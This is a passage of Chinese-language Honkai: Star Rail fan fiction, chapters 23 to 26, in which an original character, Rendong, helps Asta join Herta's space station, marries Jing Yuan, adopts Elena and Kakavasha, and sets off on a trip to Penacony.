就在黑塔忙于四处救火时,在仙舟的罪魁祸首却悄悄藏匿了起来,让景元派去的云骑无功而返。
无奈之下,景元不得不想办法满足黑塔提出的无理要求——给她找一个全能又有很多钱的代理人。
“要能干,还要有很多信用点?我好像认识一个……”
虽然忍冬知道这件事实质上根本不关她的事,钟珊想做的,她不用通过她也能达成。但无奈她作为导致景元送出那些猫糕的直接原因,没办法真的当做无事发生。
钟珊那家伙啊……约莫也是把她当作跳板接触景元,再把景元当作挡箭牌去应付黑塔,至于目的……“黑塔得罪她了?”
“不清楚,但欢愉也不需要理由。听说空间站里四处都是虫子和虚卒,黑塔那位天才的实验已经被迫停滞好长时间了……”景元无奈揉着鼻梁,只看一眼面前的文书就觉得眼疼。
“那孩子是星际和平公司高层的孩子,我是在星网上认识的。挺叛逆一人,但很有钱,对于科研也很感兴趣。应该符合黑塔的要求。但一位大小姐,怎么可能给黑塔当代理人啊?”
景元抬头笑着对忍冬说:“那可不一定~”
*
“钟珊小姐,您真是深谋远虑,足智多谋!我一定会找到志同道合之友,把放生帮发扬光大的!”女人激动至极,双手给自己打着气,迅速跑走了。
而留在原地的“钟珊小姐”,适宜运动的短褂,浅紫色的短发,一身活力满满,开朗自信的御姐模样。一双明丽的眼眸却在女人转身跑走后,如狐般弯睫,狡猾戏谑从眉眼流露。
“真是的~没办法见到那位天才变脸的表情多可惜啊~但我才不会自投罗网呢!”
“赞美阿哈~今天又是欢愉满满的一天啊~”
23. 公司
【艾丝妲:欸?忍冬你要来公司总部?是有什么事吗?】
玉兆上,艾丝妲的疑惑和惊喜直直透过这块小小的玉石传达到了她面前。
忍冬定了定神,出于对这个向她透露真名的网友的尊重,她直接解释了。
【一株药材:因为想去见你。由于我这边的事,我想直面跟你谈谈。】
【一株药材:你不是说你不想加入公司吗?而且对科研很有兴趣,不知道你对黑塔空间站的感官怎么样?】
【艾丝妲:那个天才俱乐部的黑塔吗?!我很喜欢她!你能跟她联系上吗?!帮帮我、帮帮我吧~】
哇啊……白给啊……
忍冬微妙的眼神被一旁办公的景元瞟到了,他哼笑说:“看来跟我的预期一样呢~”
忍冬无视某人试图引起她的注意力,好假借这个借口摸鱼的动作,在脑海中整理清楚了流程,对玉兆上不断发来的催促信息回复了最后一条。
【一株药材:到时候到了面对面谈吧。你也记得要跟父母说清楚,别耍小性子先斩后奏。】
【艾丝妲:知~道~了~】
“呼——好了,到时候直接面谈吧。”忍冬松了口气,对景元说。
景元对她笑了笑,垂眼看着被修长的指节无意识轻点着的文件的空白处,说:“接下来……就该通知那位天才了。好歹是她的空间站代理人,怎么着也得一起去啊~”
一段时间之后,星槎海出航口,看起来是一家三口的三人登上了去往星际和平公司总部所在的星球——庇尔波因特。
而黑塔空间站里,在紧急处理完相应的事务之后,黑塔小姐失去了踪影。取而代之的,是不知何时四散在空间站各个角落中的,跟黑塔小姐很相似的小女孩人偶。
今天,自称为黑塔的其中一个人偶将要出航,目的地——庇尔波因特。
*
作为寰宇著名的星际和平公司总部所在地,庇尔波因特,是车水马龙,灯火辉煌的代名词。想到它,人们都会不自主流露出对信用点的渴望。
它,可以等于数亿的信用点。
而在这里,也拥有着寰宇最富有的人和家族。
艾丝妲便是其中一家的女儿。
不过十三、四岁的女孩,妆容精致,眉目生动,落落大方的举止可以看出很好的教养。但作为大小姐,她手中却永远摆弄着这个阶层的人所看不上的玩意儿——寻星镜、物镜、目镜……一切跟天空中的星星有关。
“艾丝妲,你也到相应懂事的年纪了,应该学会放下无关的兴趣爱好了。明天,便去我给你安排好的职位开始试炼吧。”
父亲毋庸置疑的命令,理所当然的看轻,连商量也不给,更遑论反抗的余地。
母亲一如既往,虽心疼的看着她,但绝对不敢抗争一句。
“不,父亲。我说过的,我要当天文学家。”
她是个固执不能妥协的人,尽管父母都认为她尚还无法给自己的人生决定方向,但艾丝妲还是一次次在他们面前重申:“我喜欢星星。”
“小姑娘喜欢亮晶晶的当然可以,但艾丝妲,你长大了,你该为家族出力了。”说出这话的,是艾丝妲不知道血缘多远的亲戚,他虽慈爱的看着她,但艾丝妲能感受到,一股隐隐的针对。
因为父亲只有她一个孩子。
“艾丝妲,我们就处在星空之中。星星,是一种无聊透顶的东西,天文学家,对我们家族来说,更是一种旁门左道。我希望你能明白,我的女儿,我的一切都将留给你。”她父亲这么劝慰道。
虽不至于像那些亲戚一般表明要在她身上收回投资,但也绝对称不上尊重。
忍冬站在第二位,身后跟着乔装打扮的景元跟彦卿,身前是小小的黑塔人偶。
他们站在一扇华丽的大门前,由一个十二、三岁左右的白发黑皮男孩带到这里,听到了里面传来的争执……说争执也不对,应该算是施压。
所有人给艾丝妲一人施压。
砰!
不知何时掏出了一把大锤的黑塔人偶砸开了大门,在警报响了一声又突兀停止中,随着远处护卫传来的脚步声,她带着他们走了进去,不客气的说:“我要她当【黑塔】的空间站长,三天之内,我要在空间站看见她。”
说完,自顾自转身离开了这场算是家宴的会场。
而在她身后的忍冬眨巴着眼承受了随着黑塔离开而射过来的愤恨眼神。
就在景元想上前挡住时,艾丝妲惊喜着呐喊扑了过来:“是忍冬吧?!是吧?!是吧?!我等得心都焦了,没想到你居然跟黑塔大人撞上了!好幸运!还有两天,我可以尽地主之谊,走吧走吧~抓紧时间,之后我就离开了,没办法陪你在庇尔波因特玩了!”
艾丝妲推着她往外走,嘴里不停歇的念着,在她父亲迟疑喊住她时,她扭头气愤的说:“黑塔大人是我自己联系的!我要去【黑塔】空间站,没有商量余地!”
说完,拉着愣神的忍冬就跑。景元眼神一闪,也带着彦卿跟了上去。
“小姐,等等我啊!”那个白毛黑皮叫阿兰的少年在向会场内点了一下头之后,果断转身追了过去。
家族的人渐渐散去,最后,空旷的长桌边只余这个家族的家主和家主夫人。
艾丝妲的父亲笑了,眉开眼笑,眼里闪动着畅快的光芒。他对艾丝妲的母亲说:“看看我们的女儿,她长大了。”
“是啊……”温柔的贵妇唇边噙着一抹笑弧,但眼神中止不住的担忧:“三天啊……希望艾丝妲能得到她想要的吧。”
……
“小小年纪,就能当面糊弄人了,你不怕你父母看出来?”忍冬询问匆忙拉着她逃离出来,现在撑着膝盖气喘吁吁的女孩,脸上满是好奇。
“他、们已经看出来了……”艾丝妲气都没喘匀就回答了忍冬的问题。
彦卿这时候从景元身后蹦出头也好奇的问:“那你还表演那般浮夸?而且你家是公司高层吧?之前怎么没想到自己接触那位黑塔呢?”
阿兰赶上来,默默跟在了艾丝妲的身后,轻拍着她的后背,舒缓着她的喘息。
“那当然是因为,我以为我能战胜爸爸妈妈,能当天文学家啊!就没想起来接触黑塔大人……”艾丝妲先是气势昂扬的大喊,接着说话就逐渐心虚了起来。
“你心虚什么?”忍冬看出来了,想到他们出现在这里的前因后果,也带了一点心虚说:“这件事虽符合你的期待,但最开始也是因为我。要不是我被假面愚者戏弄,成为了迫害黑塔的中间手,然后根据黑塔的要求想到了你……”
“抱歉,艾丝妲。”
忍冬很诚心的道
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歉了,毕竟是自己做错了事。虽然这件事她没有能力阻止,但她愚笨的成为了中间加害的一环。她在为她的愚笨道歉。
“没事~毕竟那些事也是我自己跟你说的~如果按你说的,那我也有错!”
艾丝妲虽然是大小姐,但由于年纪,其实生活中很少有人真的倾听了她说的话,还是年纪比她大很多的成年人……啊,这个不能说出来。所以,她其实很喜欢忍冬,这个没什么架子,有点宅和直白的大人。
对于忍冬那双带点可怜兮兮的眼睛,艾丝妲摸了摸头,憨笑着提议道:“你来都来了,我带你玩两天吧!算你带黑塔大人来的报酬!这件事就这么打住,翻篇了!再提我跟你急!”
“……好吧。”忍冬束手束脚的答应了。而接下来两天,她都待在庇尔波因特,跟艾丝妲逛遍了不能错过的景点。
至于景元跟彦卿?啊,第二天的时候就先回去了呢~毕竟一个是将军,一个是将军近卫。
“公司的总部虽然在这里,但其实宇宙中还有很多分部的。只不过因为这里繁华,所以比较闻名。”艾丝妲指着一栋直入云天的高楼对忍冬介绍说。
忍冬惊讶的摘下墨镜,把头仰到最高,看着高耸入云无法看见顶端的高楼,诧异了一下,笑着说:“不,是因为公司在这里,所以它才繁华而闻名。”
“确实。”艾丝妲思索了一下,点了点头。
“我们接下来去哪里?”忍冬问。
“嗯……我想,你应该会对其他星球的文明感兴趣,所以我们去那里吧!我刚好有权限。”艾丝妲掷地有声的决定道。
这里是公司派遣舰队在宇宙中收集回来的星球信息集合部门,纸质材料、闪烁的蓝色光屏,来来去去慌忙的人员,组成了忍冬对这里的第一印象。
艾丝妲领着她跟阿兰,越过这由于忙乱显得狭窄的办公场所,到了后面的资料室。
说是资料室也不对,应该说是巨大的藏书馆。忍冬看着这一眼望不到边的书架上满满的书,眼睛瞬间开始发光:“好多、好多!!这些都是吗?”
她扭头问艾丝妲,艾丝妲点头,拉着她走向了记载有文明星球信息的书架前,指着它们说:“这些都是,你都可以随意翻阅。毕竟你写的小说我也喜欢看,要继续加油,不要当鸽子哦~”
“好的!我会写适合你看的小说的,艾丝妲!你真是我的福星!”忍冬狠狠抱住了艾丝妲,在阿兰慌乱的拉扯中,眼角含泪的说:“你都不知道我写设定的时候找资料有多头疼!自己写也需要很多资料的支撑,而在罗浮,我根本接触不到这些,只能得到一些零散的用来编!”
“景元,他是个武将啊!根本没面子带我进地衡司,去资料室抽取资料来看啊!”
“忍冬小姐,快放开小姐!你抱得太紧了,她要窒息了!”阿兰大力拉着忍冬,但自诩擅长打架的人,却在这时候拉不开一个情绪上头码字的,他很怀疑。
他真的擅长打架吗,能保护好小姐吗……
阿兰怀疑人生中,而艾丝妲跟忍冬,则兴致勃勃探讨起了哪些资料可以用。
其中,忍冬对一个叫茨冈尼亚的星球有点印象,毕竟是跟她老家一样,全是黄沙的地方呢……
“埃、维、金人?好漂亮的眼睛,可以记下~”兴致勃勃的忍冬在此时记下了这个名字。
24. 列车重启
之后,忍冬虽对黑塔空间站有好奇心,但无奈家里老的小的天天在玉兆上轰炸,非得让她赶紧回去。
无奈,忍冬只好跟艾丝妲分道扬镳,一个去空间站,一个回罗浮。
一下飞舰,迎面扑来了罗浮的喧闹人声,让忍冬旅途的疲乏都消解了几分。
她抬眼打量了一下月台,果然如同预期,没有人。景元跟彦卿两人虽催促她回来,但她明白他们都有公事,所以大约是无法来接她的。
所以忍冬得到结果之后,看都没看周围,就打算直接迈步离去。
但……
“你听说了吗?【开拓】好像又出现了!”
“啊?你哪儿听来的消息?不是已经陨落了吗?”
“不是!是那辆列车!又出现了!”
……
列车……是阿基维利的那辆?
忍冬盯着说这话两人,他们一副化外民打扮,眼里闪动着兴致勃勃的光芒。太可疑了……人流量这么大的港口,偏偏只有这两人在谈论这件事,还让她听见了。
【开拓】星神阿基维利,在寰宇中跟阿哈不相上下让人头疼的星神。祂手下的星穹列车,是开拓寰宇航线的先锋,也是开拓命途的体现。
但在很久之前,祂就已失去了踪迹,之后,星穹列车也因意外损毁了。
为什么普遍相信祂是陨落而不是失踪?是因为那些因列车而开拓的航线在此之后也断裂了。
但现在却有人说,列车又出现了?
“哦~可怜的景元啊~看来安静的几百年又要过去了……”忍冬思索完,眼里的高光散去了一些,带着咏叹调幸灾乐祸了一番。
“嗯……感谢怜爱?”清朗又熟悉的嗓音压低着传入她的耳膜,引起一阵耳热。
她赶忙扭头,便对上了把头倾斜到她肩膀上方,一脸笑意的景元。
“你什么时候来的?!”忍冬被惊吓的心炸毛了,她一把抓住垂落到她面前的白发,一脸愤愤。
顺滑厚实的头发,带着跟她身上相似的气味,忍冬很熟悉,熟悉到唤起了一种麻痒的感官,由指尖表现出来——她的指尖在揉搓这缕顺从待在她手心的白发。
“一直都在啊~看着某人迅速掠过我,像没看见一样。好伤心啊~明明里外都很熟了~”
大言不惭说着隐晦的下流话,面庞却还是那副光风霁月的模样,那双在这种时候总是晦涩的金瞳被很好的藏在了含笑的眉眼后。
但他知道她能懂,所以放肆的显露自己的本性。
“……对不起。”为了不被面前这只面皮厚如城墙的家伙当众调戏,忍冬忍辱低头了,并试图岔开话题:“那两人说的话你听见了?是真的吗?”
爱人的碧瞳带着谴责,也带着期待,并有她不自知的依赖,让景元的心在几天的高悬后终于落回了地面。他低头抵着她的额头,感受着传递过来的温暖体温,回答说:“真的哦~但也不必担忧,我在~”
“就因为你在,我才担心嘛……”后言对仙舟的揣测她没有说出口,只是带着点抱怨的看着面前这只微笑的大白狮。
“回家吧~”
“好,我给你们带了庇尔波因特的一些特产,回去分分吧,剩下的得给其他朋友分一分。”
“嗯?先紧着我们吗?那怎么好意思~”大白狮的尾巴甩了起来,心情很好的握住爱人的手,踏上了回家的路。
“嗯,你最重要,彦卿第二重要。其他人不会计较的。”忍冬与景元十指相扣,离开了这里,没有再去探寻那两人的事。
在他们离开后,那两人自然的融入了人群,让景元通知过来抓人的云骑扑了空。
这件事就这么放下了。
然后……忍冬跟景元去地衡司申请了结婚登记。
“欸?不大办一场吗?我还等着吃席呢!”彦卿这个在罗浮上风头无两的少年天才很失望,他跟白露一起窝在家里的沙发上,垂头丧气的擦着自己新入手的宝剑。
白露嘴里嚼着忍冬为她准备的吃食,看着浮光屏投影出的动画片,一脸不在意的接口道:“这不是很正常嘛,忍冬不喜欢出风头。再说仙舟上大办的婚姻大多都以悲剧收场,不去凑这个晦气也好。”
听闻这话,彦卿想到了在玉兆上看到的几则小道消息。
朱明仙舟一对恩爱恋人在大办婚宴后,双双出轨,然后投身锻造炉,几十年后检修才发现……还有曜青的一对狐人夫妻,因炫耀太过,引来了专门骗钱骗财的犯罪人士,专门给他们两人一人一个定制了诈骗套路,全家破产……
“确实挺晦气。”彦卿不得不附和。
而远在地衡司的景元和忍冬,则是双双在协议上签下了自己的名字。
当代表婚姻缔结的那本小红本到手的时候,忍冬松了一口气。
太长了,实在太长了,景元这个家伙跟她的纠缠也算是有了一个阶段性的结果。几百年了?她都不太记得清了。
用几百年拉近距离,她想,除了景元,应该不会有其他人这般对她了。
忍冬一手捏着小红本,一手紧紧拉着攥着她的大手。
“该回家了。”
地衡司在长乐天,离金人巷也算不得很远,但牵着手的两人走在路上,却好似又重走了一遍当年的岁月。
忍冬这一路都没有去看景元的脸,她知道她该给他一点时间,因为她实在不好触及,而他又为她花了太多时间。
红墙金瓦,白墙黑瓦,蜿蜒巷落,流水凭栏,在这悠厚的罗浮仙舟上,她度过了很长很长的岁月。
这段岁月在学宫,在小院,在街巷,在战场……她本不会走入婚姻,因为前车之鉴。但因为是他,所以没关系。
“景元,又下雪了。”忍冬牵着身旁紧跟着她,一步一挪的景元,抬头看着从天空飘飘扬扬洒落的白雪,就像轻柔的柳絮一般,落到了两人头上。
“嗯。”带着浓重鼻音的回应,让忍冬忍俊不禁,脸上浮现了笑意。
“我可以看你吗?”忍冬含笑问。
“不可以。”景元闷声回答。
“好吧好吧~那亲爱的,什么时候可以呢?”虽然调笑他很不好,但忍冬真的忍不住!这跟在她身边放了一块香甜可口的小蛋糕但却不许她碰,甚至不能看有什么区别?
“……那、那你看吧……”明明跟她差不多岁数的人了,也相处几百年了,却被一句亲爱的打得手忙脚乱,放弃了抵抗。
忍冬带着新奇看过去,只见景元像只垂头丧气的小可怜一样,眼眶微红,眼睫毛粘成了粗缝梳齿,落水小狗模样。
小红本已经收好了,所以忍冬空闲的那只手摸上了景元微红的眼尾,在他下意识闭目时,触到了一手湿润:“哎呀~还哭了啊~”,指尖摩挲着景元左眼下的小痣,她调笑着问。
“没有,是雪花。”景元在忍冬把手挪开后睁眼,专注的看着忍冬,看着面前这个已经确定跟他相连的妻子,这个他喜爱的人,为这一份确定,他才
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忍不住湿润了眼眶。
他爱她,是唯一希望能陪伴他到尽头的人,是亲密的……夫妻。
多轻易的两个字啊,也是多美好的两个字啊。景元无视妻子无语的眼睛,对她绽开了一个灿烂至极的笑容:“吾妻~余生请多指教了~”
像个孩子……“请多指教……”忍冬轻叹了一声,也扬起了笑脸,对他说。
诸多顾虑,在有心人的坚持下,总算结出了美满的硕果。
相依相伴,相携而行,执子之手,与子偕老。
能有心坚持,对方也有心相耗,这场姻缘,来得并不出人预料。
*
时间一过,又是两百多年。
罗浮仙舟的景元将军在位已将近六百多年了。
“彦卿,你还是如此心燥啊,不若休息一会儿,来喝杯茶?”忍冬鼻梁上架着一副无框眼镜,手中执着一本古卷医书,脸上一派慵懒的躺在进阶版竹躺椅上,摇摇晃晃的对庭院里练剑的少年提议道。
“师娘~”彦卿垂丧着头,头顶的呆毛都耷拉了下来,收势回鞘,几步就跑到了忍冬躺椅边,蹲了下来:“我还是打不过师父,都两百年了……”
忍冬眼睛盯着医书,随手敷衍的虎摸过少年的头顶,安慰之意传达到了就好。
彦卿伸手摸过忍冬身旁小木桌上的一个空茶杯,给自己倒了一杯清火茶,眼神又坚定了起来:“我一定会打败师父的!!罗浮剑首一定是我!!”
彦卿跳起身,带着自己的飞剑就跑了出去,只留下一句:“师娘!我去演武场训练了!”
忍冬摇头晃脑,一脸唏嘘。
少年啊,精力真好……
“彦卿走了,你出来吧。”她对着屋内朗声喊。
门打开了,景元含笑走了出来:“这小子真是的~这几年越发缠人,输了非得连续不断的打,我这把老骨头可吃不消啊~”
忍冬随口嗯嗯几声,又翻过了一页。
景元走到她身边,伸手捞起她的腰身,把人往怀中一抱,自己施施然躺倒在了躺椅上。忍冬全程目不转睛盯书,一点也不为景元的动作费神。
悠哉躺好后,景元看着头顶的蓝天白云,耳边听着书本的翻页声,轻轻说:“有人看到了星穹列车,它启航了。”
“嗯……你两百年前不是说你知道的吗?今天说这个干嘛?”忍冬没有在意,在意也没有办法。景元作为仙舟的高层,知道一些大众不能知道的消息很正常。
“可那时它还破破烂烂,没办法飞向宇宙啊……”景元的声音带着深深的忧虑,他抱着忍冬,一副困倦的依赖之态。
“那它不是只有两个结果,一是飞向宇宙,二是继续破破烂烂嘛。反正【开拓】星神又没出现,天塌了帝弓司命顶着,你忧心那般多干嘛?”忍冬明白景元的忧虑,但她不想他忧虑,这些也不是他们这些星神之下的人能担忧的事。
“可随着星穹列车的开拓,失去联系的星球又要被卷入纷争之中了。我怎么能护好你们啊……”
忍冬直起上身,端起茶杯喝了一口,抿抿唇,幽幽说:“都快到魔阴身的年纪了,想那么多没用的干嘛?大不了我到时候带着你一起死。”
爱欲其生,恨欲其死,忍冬就是这样一个人。以他们如今的关系,如果一切都没办法解决,她不介意带着景元一起赴死。
“那好,如果真到无路可走之时,还麻烦夫人不要丢下景元了~”景元清楚,但他也如往常一般答应了。
25. 又闻故人
随着列车重启,仙舟曾闻名的云上五骁有两人开始显现了踪影。
丹恒游离在宇宙间,深蔼星网的忍冬曾在一些消息的字里行间发现他的踪迹;应星好像并未成为失智的丰饶孽物,而是维持着人身,回复了岁月,追逐在丹恒身后。
就像前世两人把酒言欢,形影不离一般,这一世,前生的阴影依旧未曾消去。
故人啊……是景元的故人,也是七百多岁的忍冬的故人……
浮浮沉沉,忍冬居住的小巷已经变换了门庭,周围的人家都添了新面,但岁月如旧,庭院的月季依旧长青绚烂。
只在听闻这两人的消息之后,忍冬才有了几分物是人非之感。
“荒原添新绿,枯草又逢春呐~”忍冬轻叹。
罗浮依旧热闹繁复,来来往往的新面孔中,总还夹杂着几张老面孔。
“这就够了……”
提着打包好的吃食回家,路过游人稀少的金人巷,忍冬眼里有着漠然,但身躯悄然放松了下来。
熟悉的地方,但不熟悉的冷清,金人巷已在岁月中衰败了下去。
忍冬抚过耳边散落的几丝鬓发,笑吟吟的对周边的人打着招呼。
“高阿姨晚上好~燕翠晚上好,啊,阿悠,好好好,下次你们表演杂技我一定去……”在这些老面孔的招呼下,忍冬心力疲惫,笑得脸都快僵住了。
快步走过这里之后,周围的小摊稀少了下来,也没有了熟面孔。再走约莫几百米,她就走入了自己小院所在的小巷。
每家都围了小院,高高的院墙很难窥见内里的模样,只能由路过开着的大门一窥稍小的真容。但每家好像也都栽种了红枫树,在仙舟的气候调节下,它们四季都在变红飘落,让回家的忍冬一踩一声脆响。
忍冬的眼睛不自觉的在地面搜索着落叶,蠢蠢欲动想一脚听声舒畅,完全未注意到身后悄然接近的脚步声。
在被笼罩的感觉袭来之前,她的眼睛就被一双手遮住了视线,温和的、熟悉的气味盈满鼻腔。
“猜猜我是谁?”来人夹着嗓音,把日常低沉的声音提高了几度,显出一种怪腔怪调的尖锐感,以及遮掩不住的笑意。
忍冬没有挣扎,只是拉长语调,悠悠反问:“你不知这里住着谁吗?居然敢在青天白日之下行此劫掠之事?”
“我不知,但小姐居然这般擅长把事拉高高度,想来是不怕某行不义之事了?”怪声这般说着,一股热气轻吹而出,抚过忍冬的耳郭,吹动颈间垂落的发丝,瘙痒了脖颈。
忍冬伸手想抓挠,但身后这人忍着笑攥住了她的手,继续问道:“小姐~可别做什么额外的动作啊~某可心惊胆颤着呢,万一走投无路,伤着小姐可不好啊~”
刺刺的,带着无法消去的痒意,忍冬的唇角绷得直挺,不想陪他演下去了。
但就在她将要砥砺反抗时,身后这人却突然加大了力气,真的把她锢在了怀里。
“景元!”忍冬呵斥。
对于身后的轮廓,忍冬熟得不能再熟。而对于他的玩闹,她只能陪同到这里。
所以她手拉着,想咬人;眼睛眨着,想挠人。可惜力气不够,只能听着身后人闷闷的笑声。
“好了~我帮你弄开它们。”
眼前的手被挪开了,它伸到了她脖颈处,轻柔的拨开了那些扰乱的碎发。
忍冬扭头瞪着他,嘴一张,啊呜一口咬在了近在咫尺的脸蛋上。
“哎呦~”景元作做的呼号一声,金眸粼粼,止不住的笑意:“气消了吗?还需我配合什么吗?夫人~”
玩得最欢是他,惹生气之后跪得最快也是他,忍冬简直没有办法。
“你这家伙,简直是越来越放肆了!”忍冬松嘴,皱眉抱怨时还不忘扯着袖口擦掉了景元脸上残留的水痕。
“唔……”景元乖乖的低下脑袋,让忍冬能更好的动作,微笑着注视她,讨巧道:“那多谢夫人海涵了~”
虽然忍冬认为景元越过越幼稚跟她无关,但周边人时不时的欲言又止视线还是让她有点心虚。
明明、明明也没怎么惯着他啊?就、就满足他一些要求而已……
“夫人呐~彦卿又开始骚扰我了,你得管管他啊~还有符卿,明明只是丢给她一些事罢了,怎么能说我心思深沉歹毒呢?我可是为了历练她啊~驭空司舵也是,我可是老人家了啊,怎么能催在下呢?……”
凡此种种抱怨撒娇,这些年是数不胜数,更有几次,他还当着那些朋友的面当面上眼药。
看在罗浮全舰都寄托在他身上,忍冬每每都心虚避让过那些朋友射过来的视线,安慰他。
“我之后一定说说他们。”忍冬这句依旧未曾履行过的承诺又这么飘入了景元的耳朵。
他满意了,放开了忍冬的腰身:“虽然知道夫人是在糊弄我,但只要夫人心里有我,景元都可以不计较。”
……像朵茶里茶气的小白花。
“好了好了,回家吧,翘班回来不就为了吃饭嘛~我带了你的份。”忍冬牵着景元的手,拉着他走入了没几步远的大门内。
在他们进去没几分钟,默契而至的彦卿跟白露对视一眼,也面色如常的推开门走了进去。
“师娘~/忍冬~,我们来吃饭啦~”异口同声,像相处已久的姊妹。
……
“哦哦!今天吃红油乱斩牛杂吗?!哇!还有糖炒视肉!”
“点心,点心!热浮羊奶和貘貘卷!”
明明这几道菜在这个家里已经吃过很多次了,数也数不清,但彦卿跟白露每回期待的样子还是让忍冬心里满怀欣慰。
是很好养的孩子呢……
至于景元?作为跟她一般不爱下厨的大人,他的发言无关紧要!
“欸欸?为什么啊?我也是家里的一份子啊?”景元拉扯着忍冬的衣袖,皱眉摇晃着渴求关注,继续说:“还有啊,在匹诺康尼的艾莲娜,和在公司的卡卡瓦夏,难道他们的发言,夫人也能无视吗?”
忍冬轻撩过景元暗含挑衅的眼,哼笑:“艾莲娜可是我们家唯一会做饭的孩子,她不必让我听她的;至于卡卡瓦夏……那懒孩子也不喜欢进厨房,但他又不用我操心,艾莲娜会管好弟弟的。”
“不过……确实该打个电话督促一下他了……”忍冬支着下颌思考道。
“卡卡瓦夏吗?他刚打过电话给我,说他不久可能就会回来了,啊呜。”彦卿腮帮子鼓鼓的,嘴里不断嚼嚼嚼,手也不停的夹着桌上的菜。
忍冬皱眉看向他:“嗯?卡卡瓦夏给你打
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电话?他怎么不给我打?”
想到找回卡卡瓦夏时的场景,忍冬立马掏出玉兆给在折纸大学上学的艾莲娜打了电话。
景元看忍冬没时间搭理他了,也坐到了桌边,拿着筷子跟彦卿抢起吃食来。而不是一家人胜似一家人的白露则是在一旁喝着热浮羊奶,咬着肉夹馍,全然无视了饭桌上的风生水起。
忍冬耳边听着玉兆那边的嘟嘟声,抽空扭头阻止了两人的闹剧,接着继续把玉兆放在耳边。
嘟的一声接通了。
“欸,忍冬妈妈?怎么给我打电话了?”有点模糊的声音配合着大学热闹的氛围传递了过来,忍冬赶忙直接向艾莲娜说明了来意。
“艾莲娜,你注意点卡卡瓦夏,他好像又瞒了我事儿了!”忍冬这般向养女抱怨道。
艾莲娜,是忍冬一时兴起独自去茨冈尼亚时救下的埃维金小姑娘,失去了双亲和族人,只剩一个失去踪迹的弟弟。看在她跟她相似的境遇跟糟糕的环境上,忍冬收养了她,并承诺帮她寻找弟弟。
然后,在几年后,茨冈尼亚建立的联邦之外,公司中,看见了已经荣升公司高层的卡卡瓦夏——石心十人之一的【砂金】总监。
出于艾莲娜的面子,砂金总监也不得不生硬承认了忍冬这个突然冒出来的养母,并在这个家里变回了卡卡瓦夏。
但承认不代表他在跟艾莲娜分别时的境遇消失了,而是以一种更为隐晦的形式在水底下流窜。
当有几次暂时玩脱了,失去消息之后,忍冬带着艾莲娜直杀公司,这才发现这孩子变成了一个赌徒!玩命的赌徒!
改……都二十几岁了,改不了了吧?!
没办法,忍冬只好挟姐姐以控弟弟,并策反了姐姐艾莲娜,让她一同管着卡卡瓦夏。
“就算他运气好,但也不能次次搏命吧?!还‘所有或一无所有’?我看他是想上天,想吃竹笋炒肉!”
忍冬想到卡卡瓦夏以往的骚操作,抱怨简直就跟长了一个泉眼似的,源源不断。
“这倒霉孩子,要不是存护命途,我非抽得他叫妈!”
“啊哈哈……”艾莲娜不知为何有点沉默,并在打哈哈敷衍,不过情绪上头的忍冬没有注意到。
至于听懂了的景元嘛,不插手~不插手~孩子大了,有自己的主意了,他这个比忍冬来得更便宜的养父还是不要多话了……
*
“哦?忍冬妈妈又抱怨我了?姐姐,只能劳烦你在前面顶着了~毕竟这惊喜可是我们都有份的!彦卿?他当然也知道,不过没说起就是没泄露,演技有长进啊~”
一身奢华的青年穿行在觥筹交错的人群间,迎来送往,流转自如,靡丽到几近浓郁腐烂的香味在其中发酵着,让他心里的厌烦更浓重了几分。
要不是不能脱身……啊,不知道彦卿和白露有没有收到我送的礼物。还有忍冬妈妈,希望专门找到的植物能逗她一乐吧……
养父……算了,他不会介意的。
诡谲好运的砂金总监今天也在为家里人劳心劳力呢~
该死的公司和橡木家族!得快点让忍冬妈妈去享受一番,不然之后闹起来就不好糊弄过去了……
“一切……献给琥珀王~”青年举杯,唇边如蜜的笑意不知在嘲讽谁。
26. 匹诺康尼
匹诺康尼,一个践行娱乐至死的地方,也是家里孩子们协同给忍冬准备的旅游目的地。
回家的卡卡瓦夏几句话就让忍冬迷迷糊糊坐上了去往这里的飞舰,直到脚底触到这里的地面,她才后知后觉反应过来。
“我们怎么就到这里了?!”忍冬惊愕,伸手死死攥着景元的手掌,圆润的指尖差点儿就掐入景元的皮肤里,留下了几道泛红的小月牙。
景元眉头因疼痛而轻蹙着,但又因为忍冬这番的后知后觉而在脸上涌现了笑意。他轻声安抚着她说:“来都来了嘛~我好不容易请了假的~就当迟来的蜜月之旅?”
忍冬白眼一翻,送了景元一个无语表情:“你都知道居然不告诉我!还好意思说孩子们送的这趟旅行是迟了两百年的蜜月之旅?脸皮真厚!”
“哎呀哎呀~夫人~体谅体谅为夫吧~真的是这些年才能抽出空啊……”
高大的男性低声下气地哄着身旁愤愤不平的女性,身体挨得很近,虽满脸为难,但眼底眉梢都写满了乐意。
知更鸟拨了一下墨镜,让它更好的遮挡住自己的眼睛,视线越过这对来旅行的夫妻,看向了路旁一位平平无奇的智械男性,走近,伸手揽住他的手:“哥哥!我们走吧!”
“……啊好,妹妹。”男性智械收回凝望着那对夫妻的视线,机械呆板的语音莫名带着几分笑意,温声对身旁的妹妹说。
来到匹诺康尼本地“黑恶势力”家族的驻地,【白日梦】酒店办理入住之后,忍冬还是忍不住自己的好奇,开始兴致勃勃的打量起周围。其中,入梦池似水非水的液体最让她心动。
探手入内,没有液体的冰凉,温度反而带着几分柔和。忍冬笑眯眯的,看着乳白池水中倒映的自己,问身后坐在沙发上景元:“刚才那孩子的眼神还真是露骨,对吧?一来就暴露了的神策将军~”
景元仰靠着沙发背,头向后仰看着青灰色的墙壁,一双金瞳带着困倦,迷糊地应:“嘛……反正就这几天,应该不会出事。”
忍冬手掬起一捧池水,看着它就像史莱姆一般滑不溜手的从手上滑落,勾起了唇角:“也是~要出事起码得卡卡瓦夏那孩子来吧……”
“夫人,你对卡卡瓦夏很有偏见哦~”
“偏见……”忍冬神色怔忪,记忆被一片血色侵染。
卡卡瓦夏,来自茨冈尼亚的埃维金人,拥有绚丽如孔雀一般的绮丽外表,一个拥有三色瞳孔的美青年。
在接触艾莲娜的过程中,她以为他会是跟他姐姐相似的,一个虔诚、纯净,善良到失去抵抗的迷途羔羊。
但就在她跟艾莲娜去见他的第一面,却满目是疯狂、末路,自毁倾向严重的赌徒。
他有华丽炫目可致人迷失的外表,也有无所不用其极的癫狂。
在他流落到公司手中,变成华丽的奴隶时期,血色就已经侵染了他的身躯……也包括她这个后来者的视线。
忍冬眉眼松动下来,瞳孔一转,手中拨着的池水就泼向了景元:“看招!”
“唔?”景元抬头,看着胸前如雾飘散的池水,半息就不见了踪影。他看向忍冬,看着她脸上得意的笑容,无奈扶额叹息:“夫人呐~”
忍冬笑着露出自己的牙齿,伸出自己右手的食指,对着他摆了摆:“兵、不、厌、诈~”
“是极,为夫输了~”
